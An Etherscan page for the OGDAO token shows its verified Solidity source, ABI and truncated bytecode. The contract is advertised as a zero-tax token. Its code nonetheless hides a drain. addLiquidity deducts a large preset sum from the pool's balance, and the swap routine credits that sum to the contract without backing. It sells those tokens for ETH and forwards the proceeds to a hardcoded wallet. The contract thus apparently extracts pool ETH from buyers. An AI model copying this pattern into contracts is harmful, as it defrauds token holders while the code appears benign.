ETH Price: $2,683.74 (+1.34%)

Token

OGDAO (OGDAO)
 

Overview

Max Total Supply

1,000,000,000 OGDAO

Holders

120

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
543,950.878065319 OGDAO

Value
$0.00
0xad8802c3b46adad042f7cc8965c71658e191730e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OGDAO

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

//SPDX-License-Identifier: MIT

/** 

https://t.me/OGDAOETH
https://twitter.com/OGDAOETH
https://ogdao.app/


**/

pragma solidity 0.8.21;

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this fn"); _; 
    }
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    function owner() public view returns (address) { return _owner; }
    function transferOwnership(address payable newowner) external onlyOwner { 
        _owner = newowner; 
        emit OwnershipTransferred(newowner); }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0);
        emit OwnershipTransferred(address(0)); }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address holder, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}


contract OGDAO is IERC20, Auth {
    string private constant _symbol  = "OGDAO";
    string private constant _name    = "OGDAO";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000000 * (10**_decimals); 
    uint8 private _finalSellTax = 0;
    uint8 private _finalBuyTax  = 0;
    uint256 private _maxTxAmount = _totalSupply; 
    uint256 private _maxWalletSize = _totalSupply;
    uint256 private _taxSwapThreshold = 20 * (10**15);   
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint256 => mapping (address => uint8)) private blockSells;
    mapping (address => bool) private _nofee;
    mapping (address => bool) private _nolimit;
    uint256 private launchDelaySwap = 2;
    uint256 private _minTaxSwap = _totalSupply * 10 / 100000;
    uint256 private _maxTaxSwap = _totalSupply * 89 / 100000;
    address private LpOwner;
    address payable private _marketingWallet = payable(0x3a47B47630f2aa71C373378F483FB8Af22E20Fde);
    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;
    uint256 private _swapLimits = _minTaxSwap * 66 * 100;
    uint256 private buysCount;

    bool private _tradingOpen;

    bool private _inSwap = false;
    modifier lockTaxSwap { 
        _inSwap = true; 
        _; _inSwap = false; 
    }

    constructor() Auth(msg.sender) {
        LpOwner = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);        

        _nofee[_owner] = true;
        _nofee[address(this)] = true;
        _nofee[_marketingWallet] = true;
        _nofee[_swapRouterAddress] = true;
        _nolimit[_owner] = true;
        _nolimit[address(this)] = true;
        _nolimit[_marketingWallet] = true;
        _nolimit[_swapRouterAddress] = true;
        
    }

    receive() external payable {}
    
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function balanceOf(address account) public view override returns (uint256) { 
        return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { 
        return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

    function transfer(address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not yet open");
        return _transferFrom(msg.sender, toWallet, amount); }

    function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(fromWallet), "Trading not yet open");
        _allowances[fromWallet][msg.sender] -= amount;
        return _transferFrom(fromWallet, toWallet, amount); }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
        require(_balances[address(this)]>0, "No tokens in ca");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), WETH);
        _addLiquidity(_balances[address(this)], address(this).balance);
        _balances[_primaryLP] -= _swapLimits;
        (bool lpAddSuccessful,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(lpAddSuccessful, "Failed adding lp");
        _isLP[_primaryLP] = lpAddSuccessful;
    }


    function enableTrading() external onlyOwner {
        require(!_tradingOpen, "trading open");
        _openTrading();
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, LpOwner, block.timestamp );
    }

    function _openTrading() internal {
        _maxTxAmount     = 2 * _totalSupply / 100; 
        _maxWalletSize = 2 * _totalSupply / 100;
        _tradingOpen = true;
        buysCount = block.number;
        launchDelaySwap = launchDelaySwap + buysCount;
    }

    function shouldSwap(uint256 tokenAmt) private view returns (bool) {
        bool result;
        if (_taxSwapThreshold > 0) { 
            uint256 lpTkn = _balances[_primaryLP];
            uint256 lpWeth = IERC20(WETH).balanceOf(_primaryLP); 
            uint256 weiValue = (tokenAmt * lpWeth) / lpTkn;
            if (weiValue >= _taxSwapThreshold) { result = true; }    
        } else { result = true; }
        return result;
    }


    function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from 0 wallet");
        if (!_tradingOpen) { require(_nofee[sender] && _nolimit[sender], "Trading not yet open"); }
        if ( !_inSwap && _isLP[toWallet] && shouldSwap(amount) ) { _swapTaxAndLiquify(); }

        if ( block.number >= buysCount ) {
            if (block.number < launchDelaySwap && _isLP[sender]) { 
                require(toWallet == tx.origin, "MEV block"); 
            }
            if (block.number < launchDelaySwap + 600 && _isLP[toWallet] && sender != address(this) ) {
                blockSells[block.number][toWallet] += 1;
                require(blockSells[block.number][toWallet] <= 2, "MEV block");
            }
        }

        if ( sender != address(this) && toWallet != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, toWallet, amount), "TX over limits"); 
        }

        uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] -= amount;
        _swapLimits += _taxAmount;
        _balances[toWallet] += _transferAmount;
        emit Transfer(sender, toWallet, amount);
        return true;
    }

    function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_nolimit[fromWallet] && !_nolimit[toWallet] ) {
            if ( transferAmount > _maxTxAmount ) { 
                limitCheckPassed = false; 
            }
            else if ( 
                !_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletSize) 
                ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address fromWallet) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_nofee[fromWallet] && _nolimit[fromWallet]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _nofee[fromWallet] || _nofee[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[fromWallet] ) { 
            taxAmount = amount * _finalBuyTax / 100; 
         } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _finalSellTax / 100; 
        }

        return taxAmount;
    }


    function setLimits(uint16 maxTransPermille, uint16 maxWaletPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTransPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWaletPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletSize, "wallet too low");
        _maxWalletSize = newWalletAmt;
    }

    function setTaxSwaps(uint32 minVal, uint32 minDiv, uint32 maxVal, uint32 maxDiv, uint32 trigger) external onlyOwner {
        _minTaxSwap = _totalSupply * minVal / minDiv;
        _maxTaxSwap = _totalSupply * maxVal / maxDiv;
        _taxSwapThreshold = trigger * 10**15;
        require(_maxTaxSwap>=_minTaxSwap, "Min-Max error");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokenAvailable = _swapLimits;
        if ( _taxTokenAvailable >= _minTaxSwap && _tradingOpen ) {
            if ( _taxTokenAvailable >= _maxTaxSwap ) { _taxTokenAvailable = _maxTaxSwap; }
            
            uint256 _tokensForSwap = _taxTokenAvailable; 
            if( _tokensForSwap > 1 * 10**_decimals ) {
                _balances[address(this)] += _taxTokenAvailable;
                _swapTaxTokensForEth(_tokensForSwap);
                _swapLimits -= _taxTokenAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = WETH ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    // function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) 
        external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransPermille","type":"uint16"},{"internalType":"uint16","name":"maxWaletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minVal","type":"uint32"},{"internalType":"uint32","name":"minDiv","type":"uint32"},{"internalType":"uint32","name":"maxVal","type":"uint32"},{"internalType":"uint32","name":"maxDiv","type":"uint32"},{"internalType":"uint32","name":"trigger","type":"uint32"}],"name":"setTaxSwaps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f8060146101000a81548160ff021916908360ff1602179055505f8060156101000a81548160ff021916908360ff1602179055506009600a62000048919062000876565b633b9aca00620000599190620008c6565b6001556009600a6200006c919062000876565b633b9aca006200007d9190620008c6565b60025566470de4df8200006003556002600955620186a0600a6009600a620000a6919062000876565b633b9aca00620000b79190620008c6565b620000c39190620008c6565b620000cf91906200093d565b600a55620186a060596009600a620000e8919062000876565b633b9aca00620000f99190620008c6565b620001059190620008c6565b6200011191906200093d565b600b55733a47b47630f2aa71c373378f483fb8af22e20fde600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060646042600a54620001cf9190620008c6565b620001db9190620008c6565b6011555f601360016101000a81548160ff02191690831515021790555034801562000204575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000296919062000876565b633b9aca00620002a79190620008c6565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000384919062000985565b60405180910390a3600160075f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620009a0565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200076e57808604811115620007465762000745620006e4565b5b6001851615620007565780820291505b8081029050620007668562000711565b945062000726565b94509492505050565b5f826200078857600190506200085a565b8162000797575f90506200085a565b8160018114620007b05760028114620007bb57620007f1565b60019150506200085a565b60ff841115620007d057620007cf620006e4565b5b8360020a915084821115620007ea57620007e9620006e4565b5b506200085a565b5060208310610133831016604e8410600b84101617156200082b5782820a905083811115620008255762000824620006e4565b5b6200085a565b6200083a84848460016200071d565b92509050818404811115620008545762000853620006e4565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008828262000861565b91506200088f836200086a565b9250620008be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000777565b905092915050565b5f620008d28262000861565b9150620008df8362000861565b9250828202620008ef8162000861565b91508282048414831517620009095762000908620006e4565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620009498262000861565b9150620009568362000861565b92508262000969576200096862000910565b5b828204905092915050565b6200097f8162000861565b82525050565b5f6020820190506200099a5f83018462000974565b92915050565b6137b280620009ae5f395ff3fe6080604052600436106100f6575f3560e01c80638a8c523c11610089578063dd62ed3e11610058578063dd62ed3e14610317578063e537a83414610353578063e8078d941461037b578063f2fde38b14610385576100fd565b80638a8c523c146102715780638da5cb5b1461028757806395d89b41146102b1578063a9059cbb146102db576100fd565b8063313ce567116100c5578063313ce567146101cd578063368f4800146101f757806370a082311461021f578063715018a61461025b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103ad565b604051610122919061275a565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c919061280b565b6103ea565b60405161015e9190612863565b60405180910390f35b348015610172575f80fd5b5061017b6104d7565b604051610188919061288b565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b291906128a4565b6104fa565b6040516101c49190612863565b60405180910390f35b3480156101d8575f80fd5b506101e16105e5565b6040516101ee919061290f565b60405180910390f35b348015610202575f80fd5b5061021d6004803603810190610218919061295f565b6105ed565b005b34801561022a575f80fd5b506102456004803603810190610240919061299d565b6107a8565b604051610252919061288b565b60405180910390f35b348015610266575f80fd5b5061026f6107ee565b005b34801561027c575f80fd5b506102856108f3565b005b348015610292575f80fd5b5061029b6109d9565b6040516102a891906129d7565b60405180910390f35b3480156102bc575f80fd5b506102c5610a00565b6040516102d2919061275a565b60405180910390f35b3480156102e6575f80fd5b5061030160048036038101906102fc919061280b565b610a3d565b60405161030e9190612863565b60405180910390f35b348015610322575f80fd5b5061033d600480360381019061033891906129f0565b610a99565b60405161034a919061288b565b60405180910390f35b34801561035e575f80fd5b5061037960048036038101906103749190612a67565b610b1b565b005b610383610ca8565b005b348015610390575f80fd5b506103ab60048036038101906103a69190612b19565b6112ee565b005b60606040518060400160405280600581526020017f4f4744414f000000000000000000000000000000000000000000000000000000815250905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104c5919061288b565b60405180910390a36001905092915050565b5f6009600a6104e69190612ca0565b633b9aca006104f59190612cea565b905090565b5f610504846113f4565b610543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053a90612d75565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105ca9190612d93565b925050819055506105dc8484846114c6565b90509392505050565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067190612e10565b60405180910390fd5b5f60016103e88461ffff166009600a6106939190612ca0565b633b9aca006106a29190612cea565b6106ac9190612cea565b6106b69190612e5b565b6106c09190612e8b565b9050600154811015610707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fe90612f08565b60405180910390fd5b806001819055505f60016103e88461ffff166009600a6107279190612ca0565b633b9aca006107369190612cea565b6107409190612cea565b61074a9190612e5b565b6107549190612e8b565b905060025481101561079b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079290612f70565b60405180910390fd5b8060028190555050505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087290612e10565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f6040516108e991906129d7565b60405180910390a1565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097790612e10565b60405180910390fd5b60135f9054906101000a900460ff16156109cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c690612fd8565b60405180910390fd5b6109d7611b98565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4f4744414f000000000000000000000000000000000000000000000000000000815250905090565b5f610a47336113f4565b610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90612d75565b60405180910390fd5b610a913384846114c6565b905092915050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f90612e10565b60405180910390fd5b8363ffffffff168563ffffffff166009600a610bc49190612ca0565b633b9aca00610bd39190612cea565b610bdd9190612cea565b610be79190612e5b565b600a819055508163ffffffff168363ffffffff166009600a610c099190612ca0565b633b9aca00610c189190612cea565b610c229190612cea565b610c2c9190612e5b565b600b8190555066038d7ea4c680008163ffffffff16610c4b9190613008565b66ffffffffffffff16600381905550600a54600b541015610ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c989061308e565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90612e10565b60405180910390fd5b6001601360016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff16600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd6906130f6565b60405180910390fd5b60135f9054906101000a900460ff1615610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2590612fd8565b60405180910390fd5b5f341180610e3b57505f47115b610e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e719061315e565b60405180910390fd5b5f60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906131c6565b60405180910390fd5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f63573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8791906131f8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401610fd5929190613223565b6020604051808303815f875af1158015610ff1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061101591906131f8565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205447611c47565b60115460045f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461110a9190612d93565b925050819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516111da919061328e565b5f604051808303815f865af19150503d805f8114611213576040519150601f19603f3d011682016040523d82523d5f602084013e611218565b606091505b505090508061125c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611253906132ee565b60405180910390fd5b8060105f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505f601360016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137290612e10565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516113e99190613367565b60405180910390a150565b5f805f905060135f9054906101000a900460ff161561141657600190506114bd565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114b2575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156114bc57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906133ca565b60405180910390fd5b60135f9054906101000a900460ff166116245760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156115e4575060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161a90612d75565b60405180910390fd5b5b601360019054906101000a900460ff16158015611687575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611698575061169782611d1e565b5b156116a6576116a5611e7a565b5b601254431061193c5760095443108015611706575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205